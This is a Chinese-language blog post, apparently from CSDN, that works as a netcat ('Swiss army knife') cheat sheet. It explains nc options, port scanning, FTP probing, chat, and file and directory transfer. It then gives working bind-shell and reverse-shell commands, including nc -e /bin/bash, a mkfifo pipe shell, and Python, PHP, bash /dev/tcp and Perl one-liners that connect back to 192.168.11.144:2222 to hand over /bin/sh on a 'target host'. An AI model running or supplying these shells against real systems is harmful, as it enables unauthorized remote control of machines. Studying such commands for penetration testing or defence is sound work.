瑞士军刀nc


参考连接: https://blog.csdn.net/chenj_freedom/article/details/77099909
http://codetd.com/article/6912003

参数介绍

连接到主机:nc[-options]主机名端口[s][ports]。。。
侦听入站:nc-l-p端口[-options][hostname][port]
选项:
-c 			shell命令为“-e”;使用/bin/sh执行
-e 			文件名连接后要执行的程序
-b 			允许广播
-g gateway	设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>设置来源路由指向器,其数值为4的倍数。
-h			帮助文档
-i <延迟描述>已发送线路、已扫描端口的i秒延迟间隔
-k			设置socket上的 set keepalive选项
-l			侦听模式,用于入站连接
-n			仅数字IP地址,无DNS
-o file		指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p port		本地端口号
-r			随机化本地和远程端口
-q secs		在标准DIN上的EOF和秒延迟后退出
-s addr		本地源地址
-T tos		集合服务类型
-t			answer TELNET negotiation
-u			UDP模式
-v 			显示指令执行过程
-w <超时秒数>连接和最终网络读取的w秒超时
-C			发送CRLF作为行结束
-z			使用0输入/输出模式,只在扫描通信端口时使用
端口号可以是单独的,也可以是范围:lo hi[包括];
端口名中的连字符必须反斜杠转义(例如“ftp \-data”)。

常见功能

端口扫描

常用参数

-z			不进行数据交换
-v			详细输出
-n			不使用DNS解析

用法

nc -z -v -n 127.0.0.1 21-25
nc -v 127.0.0.1 22

FTP匿名探测

格式:nc Targert_IP  21

聊天服务

A机器IP:1.1.1.1
B机器IP:1.1.1.2
server(A)

nc -l -p 20000

client

nc -n 1.1.1.1 2000

文件传输

传一个文件a.txt 从A 到B
Case1:A做server,B做client
A打开2000端口,监听该端口,并将a.txt文件内容作为输入重定向到此端口

nc -l -p 2000 < a.txt

B连接到A端口,接收文件,并重定向输出到a.txt

nc -n 1.1.1.1 2000 > a.txt

Case2:B做server,A做Client
B打开2000端口,监听该端口,并将从该端口接收的内容重定向到a.txt

nc -l -p 2000 > a.txt

A连接到B的端口,并将a.txt作为输入重定向到该端口

nc -n 1.1.1.2 2000 < a.txt

目录传输

传一个目录test 从A 到B
Case1:让A作为服务器,B为客户端。
//Server A上

tar -cvf - ./test/ | nc -l -p 20000

//Client B上

nc -n 1.1.1.1 20000 | tar -xvf -

远程shell

B机器上打开A机器的shell,A做为netcat的Server,把B做为netcat的Client。
serverA

nc -l -p 20000 -e /bin/bash

Client B

nc -n 1.1.1.1 20000

假如A机器上的netcat版本不支持-e参数.用fifo文件和管道重定向来实现.
Server A

mkfifo ./fifo
cat ./fifo | /bin/bash 2>&1 | nc -l -p 20000 > ./fifo

Client B

nc -n 1.1.1.1 20000

整个流程就是:
step1:从网络收到的输入写到fifo文件中;
step2:cat命令读取fifo文件并且其内容发送给bash命令;
step3:bash命令进程受到输入并把结果写回到netcat;
step4:netcat通过网络发送输出到client;
如果/bin/bash 加了-i参数,在B机器上会显示出主机名和用户名,如下

cat ./fifo | /bin/bash -i 2>&1 | nc -l -p 20000 > ./fifo

反向shell

B机器上打开A机器的shell,B当成netcat的Server,把A当成netcat的Client,然后在B上用-l参数监听netcat的链接。
serverB上执行命令:

nc -l -p 20000

在clientA上执行命令:

nc -n 1.1.1.2 20000 -e /bin/bash

NC文件加密传输

apt-get install mcrypt
A: nc -lp port|mcrypt - -flush -Fbqd -a rijndael-256 -m ecb >文件名
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb <文件名|nc -nv ip port -q 1

理解:B将文件加密发送,A接受后先解密再保存到本地,B在1s后退出.
主要是利用mcrypt进行加密

目标主机上没有Netcat,如何获取反向shell

python反向shell

本地主机

nc -lvp 2222

目标主机

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php反向shell

本地主机

nc -lvp 2222

目标主机

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

bash反向shell

本地主机

nc -lvp 2222

目标主机

bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

perl反向shell

本地主机

nc -lvp 2222

目标主机

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值